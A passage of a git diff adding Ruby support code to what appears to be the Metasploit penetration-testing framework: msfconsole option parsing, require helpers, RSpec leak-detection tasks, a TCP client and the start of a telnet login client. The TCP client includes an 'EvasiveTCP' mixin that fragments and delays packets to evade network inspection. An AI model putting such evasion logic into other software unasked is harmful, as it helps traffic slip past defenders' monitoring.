false + options.database.migrations_paths = [] + + # If RAILS_ENV is set, then it will be used, but if RAILS_ENV is set and the --environment option is given, then + # --environment value will be used to reset ENV[RAILS_ENV]. + options.environment = ENV['RAILS_ENV'] || DEFAULT_ENVIRONMENT + + options.framework = ActiveSupport::OrderedOptions.new + options.framework.config = nil + + options.modules = ActiveSupport::OrderedOptions.new + options.modules.defer_loads = false + options.modules.path = nil + + @options = options + end + + @options + end + + private + + # Parses arguments into {#options}. + # + # @return [OptionParser] + def option_parser + @option_parser ||= OptionParser.new { |option_parser| + option_parser.separator '' + option_parser.separator 'Common options' + + option_parser.on( + '-E', + '--environment ENVIRONMENT', + %w{development production test}, + "The Rails environment. Will use RAIL_ENV environment variable if that is set. " \ + "Defaults to production if neither option not RAILS_ENV environment variable is set." + ) do |environment| + options.environment = environment + end + + option_parser.separator '' + option_parser.separator 'Database options' + + option_parser.on( + '-M', + '--migration-path DIRECTORY', + 'Specify a directory containing additional DB migrations' + ) do |directory| + options.database.migrations_paths << directory + end + + option_parser.on('-n', '--no-database', 'Disable database support') do + options.database.disable = true + end + + option_parser.on( + '-y', + '--yaml PATH', + 'Specify a YAML file containing database settings' + ) do |path| + options.database.config = path + end + + option_parser.separator '' + option_parser.separator 'Framework options' + + + option_parser.on('-c', '-c FILE', 'Load the specified configuration file') do |file| + options.framework.config = file + end + + option_parser.on( + '-v', + '--version', + 'Show version' + ) do + options.subcommand = :version + end + + option_parser.separator '' + option_parser.separator 'Module options' + + option_parser.on( + '--defer-module-loads', + 'Defer module loading unless explicitly asked.' + ) do + options.modules.defer_loads = true + end + + option_parser.on( + '-m', + '--module-path DIRECTORY', + 'An additional module path' + ) do |directory| + options.modules.path = directory + end + + # + # Tail + # + + option_parser.separator '' + option_parser.on_tail('-h', '--help', 'Show this message') do + puts option_parser + exit + end + } + end +end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb new file mode 100644 index 0000000000..4bdf78b924 --- /dev/null +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -0,0 +1,79 @@ +# Parsed options for {Metasploit::Framework::Command::Console} +class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::ParsedOptions::Base + # Options parsed from msfconsole command-line. + # + # @return [ActiveSupport::OrderedOptions] + def options + unless @options + super.tap { |options| + options.console = ActiveSupport::OrderedOptions.new + + options.console.commands = [] + options.console.confirm_exit = false + options.console.defanged = false + options.console.local_output = nil + options.console.plugins = [] + options.console.quiet = false + options.console.real_readline = false + options.console.resources = [] + options.console.subcommand = :run + } + end + + @options + end + + private + + # Parses msfconsole arguments into {#options}. + # + # @return [OptionParser] + def option_parser + unless @option_parser + super.tap { |option_parser| + option_parser.banner = "Usage: #{option_parser.program_name} [options]" + + option_parser.separator '' + option_parser.separator 'Console options:' + + option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do + options.console.confirm_exit = true + end + + option_parser.on('-d', '--defanged', 'Execute the console as defanged') do + options.console.defanged = true + end + + option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do + options.console.real_readline = true + end + + option_parser.on('-o', '--output FILE', 'Output to the specified file') do |file| + options.console.local_output = file + end + + option_parser.on('-p', '--plugin PLUGIN', 'Load a plugin on startup') do |plugin| + options.console.plugins << plugin + end + + option_parser.on('-q', '--quiet', 'Do not print the banner on start up') do + options.console.quiet = true + end + + option_parser.on('-r', '--resource FILE', 'Execute the specified resource file (- for stdin)') do |file| + options.console.resources << file + end + + option_parser.on( + '-x', + '--execute-command COMMAND', + 'Execute the specified string as console commands (use ; for multiples)' + ) do |commands| + options.console.commands += commands.split(/\s*;\s*/) + end + } + end + + @option_parser + end +end diff --git a/lib/metasploit/framework/rails_version_constraint.rb b/lib/metasploit/framework/rails_version_constraint.rb new file mode 100644 index 0000000000..9f436dbb20 --- /dev/null +++ b/lib/metasploit/framework/rails_version_constraint.rb @@ -0,0 +1,12 @@ +# Records the Bundler-style dependency constraint for the version of Rails to be +# used with the Metasploit Framework and Metasploit Pro. +module Metasploit + module Framework + module RailsVersionConstraint + + # The Metasploit ecosystem is not ready for Rails 4 as it uses features of + # Rails 3.X that are removed in Rails 4. + RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ] + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb new file mode 100644 index 0000000000..f795d6f367 --- /dev/null +++ b/lib/metasploit/framework/require.rb @@ -0,0 +1,118 @@ +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework', this +# file can be used prior to Bundler.require. +module Metasploit + module Framework + # Extension to `Kernel#require` behavior. + module Require + # + # Module Methods + # + + # Tries to require `name`. If a `LoadError` occurs, then `without_warning` is printed to standard error using + # `Kernel#warn`, along with instructions for reinstalling the bundle. If a `LoadError` does not occur, then + # `with_block` is called. + # + # @param name [String] the name of the library to `Kernel#require`. + # @param without_warning [String] warning to print if `name` cannot be required. + # @yield block to run when `name` requires successfully + # @yieldreturn [void] + # @return [void] + def self.optionally(name, without_warning) + begin + require name + rescue LoadError + warn without_warning + warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'" + warn "To clear the without option do `bundle install --without ''` " \ + "(the --without flag with an empty string) or " \ + "`rm -rf .bundle` to remove the .bundle/config manually and " \ + "then `bundle install`" + else + if block_given? + yield + end + end + end + + # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. + # + # @example Optionally requiring 'active_record/railtie' + # require 'metasploit/framework/require' + # + # class MyClass + # def setup + # if database_enabled + # Metasploit::Framework::Require.optionally_active_record_railtie + # end + # end + # end + # + # @return [void] + def self.optionally_active_record_railtie + if ::File.exist?(Rails.application.config.paths['config/database'].first) + optionally( + 'active_record/railtie', + 'activerecord not in the bundle, so database support will be disabled.' + ) + else + warn 'Could not find database.yml, so database support will be disabled.' + end + end + + # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. + # + # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. + # @return [void] + def self.optionally_include_metasploit_credential_creation(including_module) + optionally( + 'metasploit/credential/creation', + "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", + ) do + including_module.send(:include, Metasploit::Credential::Creation) + end + end + + # Tries to require gems necessary for using a database with the framework. + # + # @example + # Metasploit::Framework::Require.optionally_require_metasploit_db_gems + # + # @return [void] + def self.optionally_require_metasploit_db_gem_engines + optionally( + 'metasploit/credential', + 'metasploit-credential not in the bundle', + ) do + require 'metasploit/credential/engine' + end + + optionally( + 'metasploit_data_models', + 'metasploit_data_models not in the bundle' + ) do + require 'metasploit_data_models/engine' + end + end + + # + # Instance Methods + # + + # Tries to `require 'metasploit/credential/creation'` and include it in this `Class` or `Module`. + # + # @example Using in a `Module` + # require 'metasploit/framework/require' + # + # module MyModule + # extend Metasploit::Framework::Require + # + # optionally_include_metasploit_credential_creation + # end + # + # @return [void] + def optionally_include_metasploit_credential_creation + Metasploit::Framework::Require.optionally_include_metasploit_credential_creation(self) + end + end + end +end diff --git a/lib/metasploit/framework/spec.rb b/lib/metasploit/framework/spec.rb new file mode 100644 index 0000000000..8ab0ff9aa2 --- /dev/null +++ b/lib/metasploit/framework/spec.rb @@ -0,0 +1,6 @@ +module Metasploit::Framework::Spec + extend ActiveSupport::Autoload + + autoload :Constants + autoload :Threads +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/constants.rb b/lib/metasploit/framework/spec/constants.rb new file mode 100644 index 0000000000..534f7bba25 --- /dev/null +++ b/lib/metasploit/framework/spec/constants.rb @@ -0,0 +1,99 @@ +require 'msf/core/modules' + +# Monitor constants created by module loading to ensure that the loads in one example don't interfere with the +# assertions in another example. +module Metasploit::Framework::Spec::Constants + extend ActiveSupport::Autoload + + autoload :Each + autoload :Suite + + # + # CONSTANTS + # + + # Regex parsing loaded module constants + LOADED_MODULE_CHILD_CONSTANT_REGEXP = /^Mod(?<unpacked_full_name>[0-9a-f]+)$/ + # The parent namespace child_constant_name that can have children added when loading modules. + PARENT_CONSTANT = Msf::Modules + # Constant names under {PARENT_CONSTANT} that can persist between specs because they are part of the loader library + # and not dynamically loaded code + PERSISTENT_CHILD_CONSTANT_NAMES = %w{ + Error + Loader + MetasploitClassCompatibilityError + Namespace + VersionCompatibilityError + }.map(&:to_sym) + + # Cleans child constants from {PARENT_CONSTANT}. + # + # @return [true] if there were leaked constants that were cleaned. + # @return [false] if there were no leaked constants. + # @see each + def self.clean + count = each do |child_name| + PARENT_CONSTANT.send(:remove_const, child_name) + end + + count != 0 + end + + # Adds actions to `spec` task so that `rake spec` fails if any of the following: + # + # # `log/leaked-constants.log` exists after printing out the leaked constants. + # # {Each.configured!} is unnecessary in `spec/spec_helper.rb` and should be removed. + # + # @return [void] + def self.define_task + Suite.define_task + # After Suite as Suite will kill for leaks before Each say it cleaned no leaks in case there are leaks in an + # `after(:all)` that {Each} won't catch in its `after(:each)` checks. + Each.define_task + end + + # Yields each child_constant_name under {PARENT_CONSTANT}. + # + # @yield [child_name] + # @yieldparam child_name [Symbol] name of child_constant_name relative to {PARENT_CONSTANT}. + # @yieldreturn [void] + # @return [Integer] count + def self.each + inherit = false + count = 0 + + child_constant_names = PARENT_CONSTANT.constants(inherit) + + child_constant_names.each do |child_constant_name| + unless PERSISTENT_CHILD_CONSTANT_NAMES.include? child_constant_name + count += 1 + yield child_constant_name + end + end + + count + end + + # The module full name for `child_constant_name` + # + # @param child_constant_name [String] the name of a child constant_name under {PARENT_CONSTANT}. + # @return [String] full module name used to load `child_constant_name`. + # @return [nil] if `child_constant_name` does not correspond to a loaded module. + def self.full_name(child_constant_name) + full_name = nil + + match = LOADED_MODULE_CHILD_CONSTANT_REGEXP.match(child_constant_name) + + if match + potential_full_name = [match[:unpacked_full_name]].pack('H*') + + module_type, _reference_name = potential_full_name.split('/', 2) + + if Msf::MODULE_TYPES.include? module_type + full_name = potential_full_name + end + end + + full_name + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/constants/each.rb b/lib/metasploit/framework/spec/constants/each.rb new file mode 100644 index 0000000000..ec9b3fe4bb --- /dev/null +++ b/lib/metasploit/framework/spec/constants/each.rb @@ -0,0 +1,119 @@ +# @note This should only temporarily be used in `spec/spec_helper.rb` when +# `Metasploit::Framework::Spec::Constants::Suite.configure!` detects a leak. Permanently having +# `Metasploit::Framework::Spec::Constants::Each.configure!` can lead to false positives when modules are purposely +# loaded in a `before(:all)` and cleaned up in a `after(:all)`. +# +# Fails example if it leaks module loading constants. +module Metasploit::Framework::Spec::Constants::Each + # + # CONSTANTS + # + + LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/each.log') + + # + # Module Methods + # + + class << self + attr_accessor :leaks_cleaned + end + + # Is {Metasploit::Framework::Spec::Constants::Each.configure!} still necessary or should it be removed? + # + # @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants + # @return [false] otherwise + def self.leaks_cleaned? + !!@leaks_cleaned + end + + # Configures after(:each) callback for RSpe to fail example if leaked constants. + # + # @return [void] + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:each) do |example| + leaks_cleaned = Metasploit::Framework::Spec::Constants.clean + + if leaks_cleaned + $stderr.puts "Cleaned leaked constants before #{example.metadata.full_description}" + end + + # clean so that leaks from earlier example aren't attributed to this example + Metasploit::Framework::Spec::Constants::Each.leaks_cleaned ||= leaks_cleaned + end + + config.after(:each) do |example| + child_names = Metasploit::Framework::Spec::Constants.to_enum(:each).to_a + + if child_names.length > 0 + lines = ['Leaked constants:'] + + child_names.sort.each do |child_name| + lines << " #{child_name}" + end + + lines << '' + lines << "Add `include_context 'Metasploit::Framework::Spec::Constants cleaner'` to clean up constants from #{example.metadata.full_description}" + + message = lines.join("\n") + + # use caller metadata so that Jump to Source in the Rubymine RSpec running jumps to the example instead of + # here + fail RuntimeError, message, example.metadata[:caller] + end + end + + config.after(:suite) do + if Metasploit::Framework::Spec::Constants::Each.leaks_cleaned? + if LOG_PATHNAME.exist? + LOG_PATHNAME.delete + end + else + LOG_PATHNAME.open('w') { |f| + f.puts "No leaks were cleaned by `Metasploit::Framework::Spec::Constants::Each.configured!`. Remove " \ + "it from `spec/spec_helper.rb` so it does not interfere with contexts that persist loaded " \ + "modules for entire context and clean up modules in `after(:all)`" + } + end + end + end + + @configured = true + end + end + + # Whether {configure!} was called + # + # @return [Boolean] + def self.configured? + !!@configured + end + + # Adds action to `spec` task so that `rake spec` fails if {configured!} is unnecessary in `spec/spec_helper.rb` and + # should be removed + # + # @return [void] + def self.define_task + Rake::Task.define_task('metasploit:framework:spec:constant:each:clean') do + if LOG_PATHNAME.exist? + LOG_PATHNAME.delete + end + end + + Rake::Task.define_task(spec: 'metasploit:framework:spec:constant:each:clean') + + Rake::Task.define_task(:spec) do + if LOG_PATHNAME.exist? + LOG_PATHNAME.open { |f| + f.each_line do |line| + $stderr.write line + end + } + + exit(1) + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/constants/suite.rb b/lib/metasploit/framework/spec/constants/suite.rb new file mode 100644 index 0000000000..2fd42da3c7 --- /dev/null +++ b/lib/metasploit/framework/spec/constants/suite.rb @@ -0,0 +1,119 @@ +# Logs if constants created by module loading are left over after suite has completed. +module Metasploit::Framework::Spec::Constants::Suite + # + # CONSTANTS + # + + LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite') + + # Logs leaked constants to {LOG_PATHNAME} and prints `message` to stderr. + # + # @param hook (see log_pathname) + # @param message [String] additional message printed to stderr when there is at least one leaked constant. + # @return [void] + def self.log_leaked_constants(hook, message) + count = 0 + hook_log_pathname = log_pathname(hook) + hook_log_pathname.parent.mkpath + + hook_log_pathname.open('w') do |f| + count = Metasploit::Framework::Spec::Constants.each do |child_name| + f.puts child_name + end + end + + if count > 0 + $stderr.puts "#{count} #{'constant'.pluralize(count)} leaked under " \ + "#{Metasploit::Framework::Spec::Constants::PARENT_CONSTANT}. #{message} See #{hook_log_pathname} " \ + "for details." + else + hook_log_pathname.delete + end + end + + # Configures after(:suite) callback for RSpec to check for leaked constants. + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:suite) do + Metasploit::Framework::Spec::Constants::Suite.log_leaked_constants( + :before, + 'Modules are being loaded outside callbacks before suite starts.' + ) + end + + config.after(:suite) do + Metasploit::Framework::Spec::Constants::Suite.log_leaked_constants( + :after, + 'Modules are being loaded inside callbacks or examples during suite run.' + ) + end + end + + @configured = true + end + end + + # Adds action to `spec` task so that `rake spec` fails if `log/leaked-constants.log` exists after printing out the + # leaked constants. + # + # @return [void] + def self.define_task + Rake::Task.define_task(:spec) do + leaked_before = Metasploit::Framework::Spec::Constants::Suite.print_leaked_constants(:before) + leaked_after = Metasploit::Framework::Spec::Constants::Suite.print_leaked_constants(:after) + + # leaks after suite can be be cleaned up by {Metasploit::Framework::Spec::Constants::Each.configure!}, but + # leaks before suite require user intervention to find the leaks since it's a programming error in how the specs + # are written where Modules are being loaded in the context scope. + if leaked_after + $stderr.puts + $stderr.puts "Add `Metasploit::Framework::Spec::Constants::Each.configure!` to `spec/spec_helper.rb` " \ + "**NOTE: `Metasploit::Framework::Spec::Constants::Each` may report false leaks if `after(:all)` " \ + "is used to clean up constants instead of `after(:each)`**" + end + + if leaked_before || leaked_after + exit 1 + end + end + end + + # @param hook [:after, :before] Whether the log is recording leaked constants `:before` the suite runs or `:after` the + # suite runs. + def self.log_pathname(hook) + LOGS_PATHNAME.join("#{hook}.log") + end + + # Prints logged leaked constants to stderr. + # + # @param hook [:after, :before] Whether the log is recording leaked constants `:before` the suite runs or `:after` the + # suite runs. + # @return [true] if leaks printed + # @return [false] otherwise + def self.print_leaked_constants(hook) + hook_log_pathname = log_pathname(hook) + + leaks = false + + if hook_log_pathname.exist? + leaks = true + $stderr.puts "Leaked constants detected under #{Metasploit::Framework::Spec::Constants::PARENT_CONSTANT} #{hook} suite:" + + hook_log_pathname.open do |f| + f.each_line do |line| + constant_name = line.strip + full_name = Metasploit::Framework::Spec::Constants.full_name(constant_name) + + if full_name + formatted_full_name = " # #{full_name}" + end + + $stderr.puts " #{constant_name}#{formatted_full_name}" + end + end + end + + leaks + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads.rb b/lib/metasploit/framework/spec/threads.rb new file mode 100644 index 0000000000..b442a8f4fc --- /dev/null +++ b/lib/metasploit/framework/spec/threads.rb @@ -0,0 +1,5 @@ +module Metasploit::Framework::Spec::Threads + extend ActiveSupport::Autoload + + autoload :Suite +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/logger.rb b/lib/metasploit/framework/spec/threads/logger.rb new file mode 100644 index 0000000000..88fe58d946 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/logger.rb @@ -0,0 +1,41 @@ +# +# Standard Library +# + +require 'securerandom' + +# +# Project +# + +require 'metasploit/framework/spec/threads/suite' + +original_thread_new = Thread.method(:new) + +# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced +Thread.define_singleton_method(:new) { |*args, &block| + uuid = SecureRandom.uuid + # tag caller with uuid so that only leaked threads caller needs to be printed + lines = ["BEGIN Thread.new caller (#{uuid})"] + + caller.each do |frame| + lines << " #{frame}" + end + + lines << 'END Thread.new caller' + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f| + # single puts so threads can't write in between each other. + f.puts lines.join("\n") + } + + options = {original_args: args, uuid: uuid} + + original_thread_new.call(options) { + # record uuid for thread-leak detection can used uuid to correlate log with this thread. + Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid) + block.call(*options.fetch(:original_args)) + } +} \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb new file mode 100644 index 0000000000..c78791c579 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -0,0 +1,214 @@ +require 'pathname' + +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which +# allows for faster loading of rake tasks. +module Metasploit + module Framework + module Spec + module Threads + module Suite + # + # CONSTANTS + # + + # Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)` + EXPECTED_THREAD_COUNT_AROUND_SUITE = 1 + # `caller` for all Thread.new calls + LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') + # Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block + UUID_REGEXP = /BEGIN Thread.new caller \((?<uuid>.*)\)/ + # Name of thread local variable that Thread UUID is stored + UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid" + + # + # Module Methods + # + + # Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks. + # + # @return [void] + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:suite) do + thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count + + # check with if first so that error message can be constructed lazily + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE + # LOG_PATHNAME may not exist if suite run without `rake spec` + if LOG_PATHNAME.exist? + log = LOG_PATHNAME.read() + else + log "Run `rake spec` to log where Thread.new is called." + end + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ + "only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \ + "#{log}" + end + + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so after(:suite) can differentiate between threads created before(:suite) and during the + # suites + f.puts 'before(:suite)' + end + end + + config.after(:suite) do + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so that a flip flop can be used when reading the file below. Also useful if it turns + # out any threads are being created after this callback, which could be the case if another + # after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance. + f.puts 'after(:suite)' + end + + thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list + thread_count = thread_list.count + + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE + error_lines = [] + + if LOG_PATHNAME.exist? + caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid + + thread_list.each do |thread| + thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] + + # unmanaged thread, such as the main VM thread + unless thread_uuid + next + end + + caller = caller_by_thread_uuid[thread_uuid] + + error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \ + "and was started here:\n" + + error_lines.concat(caller) + end + else + error_lines << "Run `rake spec` to log where Thread.new is called." + end + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \ + "#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \ + "#{error_lines.join}" + end + end + end + + @configured = true + end + + @configured + end + + def self.define_task + Rake::Task.define_task('metasploit:framework:spec:threads:suite') do + if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist? + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete + end + + parent_pathname = Pathname.new(__FILE__).parent + threads_logger_pathname = parent_pathname.join('logger') + load_pathname = parent_pathname.parent.parent.parent.parent.expand_path + + # Must append to RUBYOPT or Rubymine debugger will not work + ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}" + end + + Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') + end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yields each line of {LOG_PATHNAME} that happened during the suite run. + # + # @yield [line] + # @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)` + # @yieldreturn [void] + def self.each_suite_line + in_suite = false + + LOG_PATHNAME.each_line do |line| + if in_suite + if line.start_with?('after(:suite)') + break + else + yield line + end + else + if line.start_with?('before(:suite)') + in_suite = true + end + end + end + end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yield each line for each Thread UUID gathered during the suite run. + # + # @yield [uuid, line] + # @yieldparam uuid [String] the UUID of thread thread + # @yieldparam line [String] a line in the `caller` for the given `uuid` + # @yieldreturn [void] + def self.each_thread_line + in_thread_caller = false + uuid = nil + + each_suite_line do |line| + if in_thread_caller + if line.start_with?('END Thread.new caller') + in_thread_caller = false + next + else + yield uuid, line + end + else + match = line.match(UUID_REGEXP) + + if match + in_thread_caller = true + uuid = match[:uuid] + end + end + end + end + + # The `caller` for each Thread UUID. + # + # @return [Hash{String => Array<String>}] + def self.caller_by_thread_uuid + lines_by_thread_uuid = Hash.new { |hash, uuid| + hash[uuid] = [] + } + + each_thread_line do |uuid, line| + lines_by_thread_uuid[uuid] << line + end + + lines_by_thread_uuid + end + + # @return + def self.non_debugger_thread_list + Thread.list.reject { |thread| + # don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it + # won't when not debugging. + thread.class.name == 'Debugger::DebugThread' + } + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/untested_payloads.rb b/lib/metasploit/framework/spec/untested_payloads.rb new file mode 100644 index 0000000000..e6cc91fba1 --- /dev/null +++ b/lib/metasploit/framework/spec/untested_payloads.rb @@ -0,0 +1,61 @@ +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which +# allows for faster loading of rake tasks. +module Metasploit + module Framework + module Spec + module UntestedPayloads + # @note `Metasploit::Framework::Spec::UntestedPayloads.define_task` should be run after the normal spec task is + # defined. + # + # Adds action to `spec` tasks so that `rake spec` fails if `log/untested-payloads.log` exists and prints out untested + # payloads from that log to stderr. + # + # # @example Using `Metasploit::Framework::Spec::UntestedPayloads.define_task` with 'payload can be instantiated' shared examples and 'untested payloads' shared context + # # Rakefile + # require 'metasploit/framework/spec/untested_payloads' + # + # # defined spec task with rspec-rails + # My::Application.load_tasks + # # extends spec task to fail when there are untested payloads + # Metasploit::Framework::Spec::UntestedPayloads.define_task + # + # # spec/modules/payloads_spec.rb + # require 'spec_helper' + # + # describe 'modules/payloads' do + # modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') + # + # include_context 'untested payloads', modules_pathname: modules_pathname + # + # context 'my/staged/payload/handler' do + # it_should_behave_like 'payload can be instantiated', + # ancestor_reference_names: [ + # 'stages/my/payload', + # 'stagers/my/payload/handler' + # ], + # modules_pathname: modules_pathname, + # reference_name: 'my/staged/payload/handler' + # end + # end + # + # @return [void] + def self.define_task + Rake::Task.define_task :spec do + untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' + + if untested_payloads_pathname.exist? + tool_path = 'tools/missing-payload-tests.rb' + + $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ + "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." + + system(tool_path) + + exit 1 + end + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9789d5d2e7 --- /dev/null +++ b/lib/metasploit/framework/tcp/client.rb @@ -0,0 +1,205 @@ +module Metasploit + module Framework + module Tcp + + module EvasiveTCP + attr_accessor :_send_size, :_send_delay, :evasive + + def denagle + begin + setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) + rescue ::Exception + end + end + + def write(buf, opts={}) + + return super(buf, opts) if not @evasive + + ret = 0 + idx = 0 + len = @_send_size || buf.length + + while(idx < buf.length) + + if(@_send_delay and idx > 0) + ::IO.select(nil, nil, nil, @_send_delay) + end + + pkt = buf[idx, len] + + res = super(pkt, opts) + flush() + + idx += len + ret += res if res + end + ret + end + end + + module Client + + extend ActiveSupport::Concern + + # @!attribute max_send_size + # @return [Fixnum] The max size of the data to encapsulate in a single packet + attr_accessor :max_send_size + # @!attribute send_delay + # @return [Fixnum] The delay between sending packets + attr_accessor :send_delay + + included do + include ActiveModel::Validations + validates :max_send_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :send_delay, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + end + + # + # Establishes a TCP connection to the specified RHOST/RPORT + # + # @see Rex::Socket::Tcp + # @see Rex::Socket::Tcp.create + def connect(global = true, opts={}) + + dossl = false + if(opts.has_key?('SSL')) + dossl = opts['SSL'] + else + dossl = ssl + end + + nsock = Rex::Socket::Tcp.create( + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } + ) + # enable evasions on this socket + set_tcp_evasions(nsock) + + # Set this socket to the global socket as necessary + self.sock = nsock if (global) + + return nsock + end + + # Enable evasions on a given client + def set_tcp_evasions(socket) + + if( max_send_size.to_i == 0 and send_delay.to_i == 0) + return + end + + return if socket.respond_to?('evasive') + + socket.extend(EvasiveTCP) + + if ( max_send_size.to_i > 0) + socket._send_size = max_send_size + socket.denagle + socket.evasive = true + end + + if ( send_delay.to_i > 0) + socket._send_delay = send_delay + socket.evasive = true + end + end + + # + # Closes the TCP connection + # + def disconnect(nsock = self.sock) + begin + if (nsock) + nsock.shutdown + nsock.close + end + rescue IOError + end + + if (nsock == sock) + self.sock = nil + end + + end + + ## + # + # Wrappers for getters + # + ## + + # + # Returns the target host + # + def rhost + raise NotImplementedError + end + + # + # Returns the remote port + # + def rport + raise NotImplementedError + end + + # + # Returns the local host for outgoing connections + # + def chost + raise NotImplementedError + end + + # + # Returns the local port for outgoing connections + # + def cport + raise NotImplementedError + end + + # + # Returns the boolean indicating SSL + # + def ssl + raise NotImplementedError + end + + # + # Returns the string indicating SSLVersion + # + def ssl_version + raise NotImplementedError + end + + # + # Returns the proxy configuration + # + def proxies + raise NotImplementedError + end + + attr_accessor :sock + + end + end + end +end diff --git a/lib/metasploit/framework/telnet/client.rb b/lib/metasploit/framework/telnet/client.rb new file mode 100644 index 0000000000..7e2471db4b --- /dev/null +++ b/lib/metasploit/framework/telnet/client.rb @@ -0,0 +1,220 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Telnet + module Client + extend ActiveSupport::Concern + include Metasploit::Framework::Tcp::Client + include Msf::Auxiliary::Login + + attr_accessor :banner + + # + # CONSTANTS + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + IAC = 255.chr # "\377" # "\xff" # interpret as command + DONT = 254.chr # "\376" # "\xfe" # you are not to use option + DO = 253.chr # "\375" # "\xfd" # please, you use option + WONT = 252.chr # "\374" # "\xfc" # I won't use option + WILL = 251.chr # "\373" # "\xfb" # I will use option + SB = 250.chr # "\372" # "\xfa" # interpret as subnegotiation + GA = 249.chr # "\371" # "\xf9" # you may reverse the line + EL = 248.chr # "\370" # "\xf8" # erase the current line + EC = 247.chr # "\367" # "\xf7" # erase the current character + AYT = 246.chr # "\366" # "\xf6" # are you there + AO = 245.chr # "\365" # "\xf5" # abort output--but let prog finish + IP = 244.chr # "\364" # "\xf4" # interrupt process--permanently + BREAK = 243.chr # "\363" # 